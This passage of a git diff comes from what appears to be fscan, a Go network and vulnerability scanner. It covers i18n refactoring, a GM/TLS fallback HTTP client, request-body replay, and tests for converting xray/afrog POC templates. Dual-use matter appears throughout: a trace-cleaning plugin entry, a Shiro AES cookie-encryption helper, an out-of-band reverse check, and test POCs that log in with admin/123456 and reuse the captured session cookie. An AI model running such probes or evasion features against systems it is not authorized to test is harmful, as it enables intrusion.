[]Result) { } func printPlotCommand(csvFile string) { - fmt.Println("\n=== 绘图命令 ===") + fmt.Println("\n=== Plot commands ===") fmt.Println("\n# gnuplot:") fmt.Printf(`gnuplot -e " set terminal png size 800,600; diff --git a/web/api/config.go b/web/api/config.go index 0cba985..34b0ddf 100644 --- a/web/api/config.go +++ b/web/api/config.go @@ -114,7 +114,6 @@ var plugins = []PluginInfo{ {Name: "poc", Type: "web", Description: "POC漏洞检测", DescEn: "POC vulnerability detection", Enabled: true}, // 本地类 - {Name: "avdetect", Type: "local", Description: "杀软检测", DescEn: "Antivirus detection", Enabled: false}, {Name: "cleaner", Type: "local", Description: "痕迹清理", DescEn: "Trace cleaning", Enabled: false}, } diff --git a/web/api/result.go b/web/api/result.go index d3da791..77e9b09 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -10,16 +10,18 @@ import ( "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common/i18n" ) // ResultItem 扫描结果项 type ResultItem struct { - ID int64 `json:"id"` - Time time.Time `json:"time"` - Type string `json:"type"` // host, port, service, vuln - Target string `json:"target"` - Status string `json:"status"` - Details interface{} `json:"details,omitempty"` + ID int64 `json:"id"` + Time time.Time `json:"time"` + Type string `json:"type"` // host, port, service, vuln + Target string `json:"target"` + Status string `json:"status"` + Details interface{} `json:"details,omitempty"` } // ResultStore 结果存储 @@ -427,18 +429,18 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin func normalizeVulnStatus(status string, details map[string]interface{}) string { // 英文转中文映射 vulnTranslations := map[string]string{ - "weak_credential": "弱口令", - "unauthorized": "未授权访问", - "unauth": "未授权访问", - "anonymous": "匿名访问", - "CVE": "漏洞", + "weak_credential": i18n.GetText("web_result_weak_credential"), + "unauthorized": i18n.GetText("unauthorized_access"), + "unauth": i18n.GetText("unauthorized_access"), + "anonymous": i18n.GetText("web_result_anonymous_access"), + "CVE": i18n.GetText("web_result_vulnerability"), } // 处理 "weak_credential: user:pass" 格式 if strings.HasPrefix(status, "weak_credential:") { cred := strings.TrimPrefix(status, "weak_credential:") cred = strings.TrimSpace(cred) - return fmt.Sprintf("弱口令: %s", cred) + return i18n.Tr("web_result_weak_credential_detail", cred) } // 处理其他已知格式 diff --git a/web/api/router.go b/web/api/router.go index b2cc0d5..03634ce 100644 --- a/web/api/router.go +++ b/web/api/router.go @@ -3,8 +3,10 @@ package api import ( + "fmt" "net/http" + "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/web/ws" ) @@ -49,5 +51,5 @@ func healthCheck(w http.ResponseWriter, r *http.Request) { // systemInfo 系统信息 func systemInfo(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") - w.Write([]byte(`{"version":"2.1.1","build":"web"}`)) + fmt.Fprintf(w, `{"version":"%s","build":"web"}`, common.GetVersion()) } diff --git a/web/api/scan.go b/web/api/scan.go index 6ed4f64..195f51d 100644 --- a/web/api/scan.go +++ b/web/api/scan.go @@ -5,6 +5,7 @@ package api import ( "context" "encoding/json" + "errors" "net/http" "sync" "sync/atomic" @@ -47,10 +48,10 @@ type ScanRequest struct { Domain string `json:"domain"` // POC - PocPath string `json:"poc_path"` - PocName string `json:"poc_name"` - PocFull bool `json:"poc_full"` - DisablePoc bool `json:"disable_poc"` + PocPath string `json:"poc_path"` + PocName string `json:"poc_name"` + PocFull bool `json:"poc_full"` + DisablePoc bool `json:"disable_poc"` // 项目缓存 ProjectID string `json:"project_id,omitempty"` @@ -234,7 +235,9 @@ func (h *ScanHandler) runScan(req ScanRequest) { }) // 执行扫描 - core.RunScan(ctx, info, session) + if _, err := core.RunScan(ctx, info, session); err != nil && !errors.Is(err, context.Canceled) { + common.LogError(err.Error()) + } // 项目缓存回写:合并本次扫描结果 if req.ProjectID != "" { diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index cae9a3d..c5591b2 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -11,6 +11,8 @@ import ( "sort" "strings" "sync" + + "github.com/shadow1ng/fscan/common/i18n" ) //go:embed web_fingerprint_v4.json @@ -20,10 +22,10 @@ var fingerprintHubData []byte type EnhancedFingerprint struct { ID string `json:"id"` Info struct { - Name string `json:"name"` - Author string `json:"author"` - Tags string `json:"tags"` - Severity string `json:"severity"` + Name string `json:"name"` + Author string `json:"author"` + Tags string `json:"tags"` + Severity string `json:"severity"` Metadata map[string]interface{} `json:"metadata"` } `json:"info"` HTTP []struct { @@ -58,7 +60,7 @@ var ( func LoadEnhancedFingerprints() error { var fps []*EnhancedFingerprint if err := json.Unmarshal(fingerprintHubData, &fps); err != nil { - return fmt.Errorf("解析增强指纹库失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("fingerprint_enhanced_parse_failed"), err) } enhancedDB = &EnhancedFingerprintDB{ diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 91ffe33..4953d6a 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -1,6 +1,7 @@ package lib import ( + "context" "crypto/tls" "embed" "fmt" @@ -12,7 +13,9 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/proxy" + gmtls "github.com/tjfoc/gmsm/gmtls" "gopkg.in/yaml.v2" ) @@ -29,10 +32,12 @@ const ( // 全局HTTP客户端变量 var ( - Client *http.Client // 标准HTTP客户端 - ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 - dialTimeout = 5 * time.Second // 连接超时时间 - keepAlive = 5 * time.Second // 连接保持时间 + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + ClientGM *http.Client // 国密TLS HTTP客户端 + ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向 + dialTimeout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 ) // Inithttp 初始化HTTP客户端配置 @@ -46,7 +51,7 @@ func Inithttp(cfg *common.Config) error { // 初始化HTTP客户端 err := InitHTTPClient(pocNum, cfg.Network.HTTPProxy, cfg.Network.WebTimeout, cfg.Network.MaxRedirects, &cfg.Network) if err != nil { - return fmt.Errorf("HTTP客户端初始化失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_http_client_init_failed"), err) } return nil } @@ -81,7 +86,7 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c proxyManager := proxy.NewProxyManager(proxyConfig) proxyDialer, err := proxyManager.GetDialer() if err != nil { - return fmt.Errorf("SOCKS5代理配置失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_socks5_proxy_config_failed"), err) } tr.DialContext = proxyDialer.DialContext return nil @@ -106,13 +111,13 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c // 验证代理类型 if !strings.HasPrefix(httpProxyURL, "socks5://") && !strings.HasPrefix(httpProxyURL, "http://") && !strings.HasPrefix(httpProxyURL, "https://") { - return fmt.Errorf("不支持的代理类型: %s", httpProxyURL) + return fmt.Errorf("%s: %s", i18n.GetText("webscan_unsupported_proxy_type"), httpProxyURL) } // 解析代理URL parsedURL, err := url.Parse(httpProxyURL) if err != nil { - return fmt.Errorf("代理URL解析失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_proxy_url_parse_failed"), err) } tr.Proxy = http.ProxyURL(parsedURL) return nil @@ -133,9 +138,9 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max // 配置Transport参数 tr := &http.Transport{ DialContext: dialer.DialContext, - MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽 - MaxIdleConns: 100, // 保留100个空闲连接 - MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接 + MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽 + MaxIdleConns: 100, // 保留100个空闲连接 + MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接 IdleConnTimeout: keepAlive, TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, TLSHandshakeTimeout: 5 * time.Second, @@ -166,6 +171,43 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } + // 创建国密TLS客户端(用于连接国密HTTPS站点) + trGM := &http.Transport{ + DialTLSContext: func(ctx context.Context, network, addr string) (net.Conn, error) { + dialer := &net.Dialer{ + Timeout: dialTimeout, + KeepAlive: keepAlive, + } + return gmtls.DialWithDialer(dialer, network, addr, &gmtls.Config{ + GMSupport: gmtls.NewGMSupport(), + InsecureSkipVerify: true, + }) + }, + MaxConnsPerHost: 20, + MaxIdleConns: 20, + MaxIdleConnsPerHost: 5, + IdleConnTimeout: keepAlive, + TLSHandshakeTimeout: 5 * time.Second, + DisableKeepAlives: false, + } + + ClientGM = &http.Client{ + Transport: trGM, + Timeout: Timeout, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + if len(via) >= maxRedirects { + return http.ErrUseLastResponse + } + return nil + }, + } + + ClientNoRedirectGM = &http.Client{ + Transport: trGM, + Timeout: Timeout, + CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, + } + return nil } @@ -225,7 +267,7 @@ func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { key, keyOk := one.Key.(string) value, valueOk := one.Value.(string) if !keyOk || !valueOk { - return fmt.Errorf("StrMap解析失败: 键或值不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_strmap_parse_failed")) } *r = append(*r, StrItem{key, value}) } @@ -256,7 +298,7 @@ func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { for _, one := range tmp1 { key, ok := one.Key.(string) if !ok { - return fmt.Errorf("RuleMap解析失败: 键不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_rulemap_key_invalid")) } value := tmp[key] *r = append(*r, RuleItem{key, value}) @@ -281,12 +323,12 @@ func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { for _, one := range tmp { key, keyOk := one.Key.(string) if !keyOk { - return fmt.Errorf("ListMap解析失败: 键不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_listmap_key_invalid")) } valueSlice, valueOk := one.Value.([]interface{}) if !valueOk { - return fmt.Errorf("ListMap解析失败: 值不是数组类型") + return fmt.Errorf("%s", i18n.GetText("webscan_listmap_value_invalid")) } var value []string @@ -328,7 +370,7 @@ func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) } else { - common.LogError(fmt.Sprintf("POC加载失败 %s: %v", f, err)) + common.LogError(i18n.Tr("webscan_poc_load_one_failed", f, err)) } } return pocs @@ -339,13 +381,13 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) { // 使用通用适配器加载POC(自动识别格式) universalPoc, err := LoadUniversalPoc(fileName, data) if err != nil { - return nil, fmt.Errorf("POC解析失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_parse_failed"), fileName, err) } // 转换为fscan内部格式 poc, err := universalPoc.ToFscanPoc() if err != nil { - return nil, fmt.Errorf("POC格式转换失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err) } return poc, nil @@ -356,7 +398,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { // 读取POC文件内容 yamlFile, err := Pocs.ReadFile("pocs/" + fileName) if err != nil { - return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err) } // 解析YAML内容 @@ -367,7 +409,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { func SelectPoc(Pocs embed.FS, pocname string) []string { entries, err := Pocs.ReadDir("pocs") if err != nil { - common.LogError(fmt.Sprintf("读取POC目录失败: %v", err)) + common.LogError(i18n.Tr("webscan_poc_dir_read_failed", err)) } var foundFiles []string @@ -385,7 +427,7 @@ func LoadPocbyPath(fileName string) (*Poc, error) { // 读取POC文件内容 data, err := os.ReadFile(fileName) if err != nil { - return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err) } // 解析YAML内容 diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 8235738..35efa43 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -108,7 +108,7 @@ func GetBaseProgramOptions() []cel.ProgramOption { func ExtendEnvWithVars(varDecls []*exprpb.Decl) (*cel.Env, error) { base := GetBaseEnv() if base == nil { - return nil, fmt.Errorf("基础CEL环境未初始化") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_cel_env_not_initialized")) } if len(varDecls) == 0 { return base, nil @@ -142,19 +142,19 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r // 编译表达式 ast, issues := env.Compile(expression) if issues.Err() != nil { - return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) } // 创建程序(使用缓存的程序选项) program, err := env.Program(ast, GetBaseProgramOptions()...) if err != nil { - return nil, fmt.Errorf("程序创建错误: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) } // 执行评估 result, _, err := program.Eval(params) if err != nil { - return nil, fmt.Errorf("表达式评估错误: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_eval_failed"), err) } return result, nil @@ -363,8 +363,11 @@ func reverseCheck(r *Reverse, timeout int64) bool { ceyeAPI, sub) // 创建并发送请求 - req, _ := http.NewRequest("GET", apiURL, nil) - resp, err := DoRequest(req, false) + req, err := http.NewRequest("GET", apiURL, nil) + if err != nil { + return false + } + resp, err := DoRequest(req, false, nil) if err != nil { return false } @@ -416,11 +419,23 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { } // DoRequest 执行 HTTP 请求 -func DoRequest(req *http.Request, redirect bool) (*Response, error) { +// session 为 nil 时回退到全局 state(兼容 CEL runtime 等无 session 场景) +func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*Response, error) { // 处理请求头 if req.Body != nil && req.Body != http.NoBody { + body, err := io.ReadAll(req.Body) + if err != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_body_read_failed"), err) + } + _ = req.Body.Close() + req.Body = io.NopCloser(bytes.NewReader(body)) + req.GetBody = func() (io.ReadCloser, error) { + return io.NopCloser(bytes.NewReader(body)), nil + } + req.ContentLength = int64(len(body)) + // 设置 Content-Length - req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + req.Header.Set("Content-Length", strconv.FormatInt(req.ContentLength, 10)) // 如果未指定 Content-Type,设置默认值 if req.Header.Get("Content-Type") == "" { @@ -430,9 +445,23 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { // 执行请求 // 检查发包限制 - if canSend, reason := common.CanSendPacket(); !canSend { - common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) - return nil, fmt.Errorf("发包受限: %s", reason) + var state *common.State + if session != nil { + state = session.State + if canSend, err := common.CanSendPacketWith(session.Config, state); !canSend { + reason := "" + if err != nil { + reason = err.Error() + } + common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) + } + } else { + state = common.GetGlobalState() + if canSend, reason := common.CanSendPacket(); !canSend { + common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) + } } var ( @@ -446,14 +475,32 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { oResp, err = ClientNoRedirect.Do(req) } + // 标准TLS连接失败时,尝试国密TLS客户端 + if err != nil && req.URL.Scheme == "https" { + if req.GetBody != nil { + if body, bodyErr := req.GetBody(); bodyErr == nil { + req.Body = body + } + } + if redirect { + if oResp2, err2 := ClientGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } + } else { + if oResp2, err2 := ClientNoRedirectGM.Do(req); err2 == nil { + oResp, err = oResp2, nil + } + } + } + if err != nil { // HTTP请求失败,计为TCP失败 - common.GetGlobalState().IncrementTCPFailedPacketCount() - return nil, fmt.Errorf("请求执行失败: %w", err) + state.IncrementTCPFailedPacketCount() + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_execute_failed"), err) } // HTTP请求成功,计为TCP成功 - common.GetGlobalState().IncrementTCPSuccessPacketCount() + state.IncrementTCPSuccessPacketCount() defer func() { _ = oResp.Body.Close() }() // 解析响应 @@ -496,7 +543,7 @@ func ParseRequest(oReq *http.Request) (*Request, error) { if oReq.Body != nil && oReq.Body != http.NoBody { data, err := io.ReadAll(oReq.Body) if err != nil { - return nil, fmt.Errorf("读取请求体失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_body_read_failed"), err) } req.Body = data // 重新设置请求体,允许后续重复读取 @@ -508,9 +555,15 @@ func ParseRequest(oReq *http.Request) (*Request, error) { // ParseResponse 将标准 HTTP 响应转换为自定义响应对象 func ParseResponse(oResp *http.Response) (*Response, error) { + var respURL *UrlType + if oResp.Request != nil { + respURL = ParseURL(oResp.Request.URL) + } else { + respURL = &UrlType{} + } resp := Response{ Status: int32(oResp.StatusCode), - URL: ParseURL(oResp.Request.URL), + URL: respURL, Headers: make(map[string]string), ContentType: oResp.Header.Get("Content-Type"), } @@ -523,7 +576,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { // 读取并解析响应体 body, err := getRespBody(oResp) if err != nil { - return nil, fmt.Errorf("处理响应体失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_response_body_process_failed"), err) } resp.Body = body diff --git a/webscan/lib/Shiro.go b/webscan/lib/Shiro.go index 5413261..7d86685 100644 --- a/webscan/lib/Shiro.go +++ b/webscan/lib/Shiro.go @@ -8,7 +8,7 @@ import ( "encoding/base64" "io" - uuid "github.com/satori/go.uuid" + "github.com/google/uuid" ) var ( @@ -55,7 +55,8 @@ func AESCBCEncrypt(shirokey string) string { paddedContent := Padding(Content, block.BlockSize()) // 生成随机IV - iv := uuid.NewV4().Bytes() + u := uuid.New() + iv := u[:] // 创建CBC加密器 blockMode := cipher.NewCBCEncrypter(block, iv) diff --git a/webscan/lib/eval_random.go b/webscan/lib/eval_random.go index 4f595f8..cb4f970 100644 --- a/webscan/lib/eval_random.go +++ b/webscan/lib/eval_random.go @@ -46,9 +46,12 @@ func registerRandomImplementations() []*functions.Overload { if !ok { return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type()) } - min, max := int(from), int(to) - //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 - return types.Int(rand.Intn(max-min) + min) + min, max := int(from), int(to) + if max <= min { + return types.NewErr("randomInt: max(%d) must be greater than min(%d)", max, min) + } + //nolint:gosec // G404: 用于生成POC测试随机数,非加密用途 + return types.Int(rand.Intn(max-min) + min) }, }, { diff --git a/webscan/lib/eval_test.go b/webscan/lib/eval_test.go index cf6b848..9eb97ae 100644 --- a/webscan/lib/eval_test.go +++ b/webscan/lib/eval_test.go @@ -1,6 +1,7 @@ package lib import ( + "errors" "fmt" "io" "net/http" @@ -11,6 +12,12 @@ import ( "github.com/google/cel-go/common/types" ) +type roundTripFunc func(*http.Request) (*http.Response, error) + +func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) { + return f(req) +} + // ============================================================================= // eval_encoding.go 测试 - 编码解码函数 // ============================================================================= @@ -1070,6 +1077,84 @@ func TestGetRespBody(t *testing.T) { } } +func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { + previous := ClientNoRedirect + defer func() { ClientNoRedirect = previous }() + + var gotContentLength string + var gotBody string + ClientNoRedirect = &http.Client{Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) { + gotContentLength = req.Header.Get("Content-Length") + body, err := io.ReadAll(req.Body) + if err != nil { + return nil, err + } + gotBody = string(body) + return &http.Response{ + StatusCode: http.StatusOK, + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader("ok")), + Request: req, + }, nil + })} + + req, err := http.NewRequest(http.MethodPost, "http://example.com", io.NopCloser(strings.NewReader("abc"))) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + req.ContentLength = -1 + + if _, err := DoRequest(req, false, nil); err != nil { + t.Fatalf("DoRequest error = %v", err) + } + if gotContentLength != "3" { + t.Fatalf("Content-Length = %q, want 3", gotContentLength) + } + if gotBody != "abc" { + t.Fatalf("body = %q, want abc", gotBody) + } +} + +func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) { + previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM + defer func() { + ClientNoRedirect = previousNR + ClientNoRedirectGM = previousGM + }() + + ClientNoRedirect = &http.Client{Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) { + _, _ = io.ReadAll(req.Body) + return nil, errors.New("standard tls failed") + })} + + var gotBody string + ClientNoRedirectGM = &http.Client{Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) { + body, err := io.ReadAll(req.Body) + if err != nil { + return nil, err + } + gotBody = string(body) + return &http.Response{ + StatusCode: http.StatusOK, + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader("ok")), + Request: req, + }, nil + })} + + req, err := http.NewRequest(http.MethodPost, "https://example.com", strings.NewReader("payload")) + if err != nil { + t.Fatalf("NewRequest error = %v", err) + } + + if _, err := DoRequest(req, false, nil); err != nil { + t.Fatalf("DoRequest error = %v", err) + } + if gotBody != "payload" { + t.Fatalf("fallback body = %q, want payload", gotBody) + } +} + func TestRandomStr(t *testing.T) { tests := []struct { name string diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 3eb12a0..6ca966d 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -4,6 +4,7 @@ import ( "fmt" "strings" + "github.com/shadow1ng/fscan/common/i18n" "gopkg.in/yaml.v2" ) @@ -103,7 +104,7 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { case FormatAfrog: return loadAfrogPoc(data) default: - return nil, fmt.Errorf("未知POC格式: %s", filename) + return nil, fmt.Errorf("%s: %s", i18n.GetText("webscan_unknown_poc_format"), filename) } } @@ -117,7 +118,7 @@ type FscanPocAdapter struct { func loadFscanPoc(data []byte) (*FscanPocAdapter, error) { var poc Poc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("fscan格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_fscan_format_parse_failed"), err) } return &FscanPocAdapter{&poc}, nil } @@ -174,7 +175,7 @@ type NucleiPocAdapter struct { func loadNucleiPoc(data []byte) (*NucleiPocAdapter, error) { var poc NucleiPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("nuclei格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_nuclei_format_parse_failed"), err) } return &NucleiPocAdapter{&poc}, nil } @@ -239,7 +240,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { } if len(poc.Rules) == 0 { - return nil, fmt.Errorf("nuclei模板没有有效的HTTP规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_nuclei_no_http_rules")) } return poc, nil @@ -348,7 +349,7 @@ type XrayPocAdapter struct { func loadXrayPoc(data []byte) (*XrayPocAdapter, error) { var poc XrayPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("xray格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_xray_format_parse_failed"), err) } return &XrayPocAdapter{&poc}, nil } @@ -399,6 +400,11 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { Expression: rule.Expression, } + // 转换 output 字段为 Search — 多步POC中从响应提取变量供后续步骤使用 + if searchVal, ok := rule.Output["search"]; ok { + fscanRule.Search = fmt.Sprintf("%v", searchVal) + } + // 如果expression为空,默认检查200状态码 if fscanRule.Expression == "" { fscanRule.Expression = "response.status == 200" @@ -408,7 +414,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { } if len(poc.Rules) == 0 { - return nil, fmt.Errorf("xray POC没有有效的规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_xray_no_rules")) } return poc, nil @@ -442,7 +448,7 @@ type AfrogPocAdapter struct { func loadAfrogPoc(data []byte) (*AfrogPocAdapter, error) { var poc AfrogPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("afrog格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_afrog_format_parse_failed"), err) } return &AfrogPocAdapter{&poc}, nil } @@ -500,6 +506,11 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { Expression: rule.Expression, } + // 转换 output 字段为 Search — 多步POC中从响应提取变量供后续步骤使用 + if searchVal, ok := rule.Output["search"]; ok { + fscanRule.Search = fmt.Sprintf("%v", searchVal) + } + // 如果expression为空,默认检查200状态码 if fscanRule.Expression == "" { fscanRule.Expression = "response.status == 200" @@ -509,7 +520,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) { } if len(poc.Rules) == 0 { - return nil, fmt.Errorf("afrog POC没有有效的规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_afrog_no_rules")) } return poc, nil diff --git a/webscan/lib/poc_adapter_test.go b/webscan/lib/poc_adapter_test.go index 3fb9367..2864e8d 100644 --- a/webscan/lib/poc_adapter_test.go +++ b/webscan/lib/poc_adapter_test.go @@ -1,6 +1,7 @@ package lib import ( + "strings" "testing" ) @@ -383,3 +384,151 @@ unknown: format }) } } + +// TestXrayOutputToSearch 测试 xray output 字段到 Search 的转换 +func TestXrayOutputToSearch(t *testing.T) { + // 多步POC: r0 提取 cookie,r1 使用 {{cookie}} + yamlData := ` +name: poc-yaml-test-cookie-extract +transport: http +rules: + r0: + request: + method: POST + path: /login + headers: + Content-Type: text/xml + body: userID=admin + follow_redirects: false + expression: response.status == 200 + output: + search: "Set-Cookie:(?P.*)" + r1: + request: + method: GET + path: /admin/dashboard + headers: + Cookie: "{{cookie}}" + expression: response.status == 200 +detail: + author: test +` + + adapter, err := loadXrayPoc([]byte(yamlData)) + if err != nil { + t.Fatalf("loadXrayPoc() error = %v", err) + } + + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + + if len(poc.Rules) != 2 { + t.Fatalf("len(Poc.Rules) = %d, want 2", len(poc.Rules)) + } + + // r0 应该有 Search 字段(从 output.search 转换) + if poc.Rules[0].Search == "" { + t.Error("Rules[0].Search should not be empty — output.search was not converted") + } + if !strings.Contains(poc.Rules[0].Search, "cookie") { + t.Errorf("Rules[0].Search = %q, should contain 'cookie'", poc.Rules[0].Search) + } + + // r1 不应该有 Search(没有 output 字段) + if poc.Rules[1].Search != "" { + t.Errorf("Rules[1].Search = %q, should be empty", poc.Rules[1].Search) + } + + // r1 的 Headers 应保留 {{cookie}} 占位符 + if poc.Rules[1].Headers["Cookie"] != `{{cookie}}` { + t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{cookie}}`) + } +} + +// TestXrayNoOutput 测试 xray 没有 output 字段时 Search 为空(回归) +func TestXrayNoOutput(t *testing.T) { + yamlData := ` +name: poc-yaml-test-simple +transport: http +rules: + r0: + request: + method: GET + path: /api/test + expression: response.status == 200 +detail: + author: test +` + + adapter, err := loadXrayPoc([]byte(yamlData)) + if err != nil { + t.Fatalf("loadXrayPoc() error = %v", err) + } + + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + + if len(poc.Rules) != 1 { + t.Fatalf("len(Poc.Rules) = %d, want 1", len(poc.Rules)) + } + + if poc.Rules[0].Search != "" { + t.Errorf("Rules[0].Search = %q, should be empty when no output field", poc.Rules[0].Search) + } +} + +// TestAfrogOutputToSearch 测试 afrog output 字段到 Search 的转换 +func TestAfrogOutputToSearch(t *testing.T) { + yamlData := ` +id: test-afrog-cookie +info: + name: 测试Cookie提取 + author: test + severity: high +rules: + r0: + request: + method: POST + path: /login + headers: + Content-Type: application/x-www-form-urlencoded + body: username=admin&password=123456 + expression: response.status == 200 && response.body.bcontains(b"success") + output: + search: "Set-Cookie:(?P.*)" + r1: + request: + method: GET + path: /panel + headers: + Cookie: "{{sessid}}" + expression: response.status == 200 && response.body.bcontains(b"admin") +` + + adapter, err := loadAfrogPoc([]byte(yamlData)) + if err != nil { + t.Fatalf("loadAfrogPoc() error = %v", err) + } + + poc, err := adapter.ToFscanPoc() + if err != nil { + t.Fatalf("ToFscanPoc() error = %v", err) + } + + if len(poc.Rules) != 2 { + t.Fatalf("len(Poc.Rules) = %d, want 2", len(poc.Rules)) + } + + if poc.Rules[0].Search == "" { + t.Error("Rules[0].Search should not be empty — output.search was not converted") + } + + // r1 的占位符应对应捕获组名 sessid + if poc.Rules[1].Headers["Cookie"] != `{{sessid}}` { + t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{sessid}}`) + } +} diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 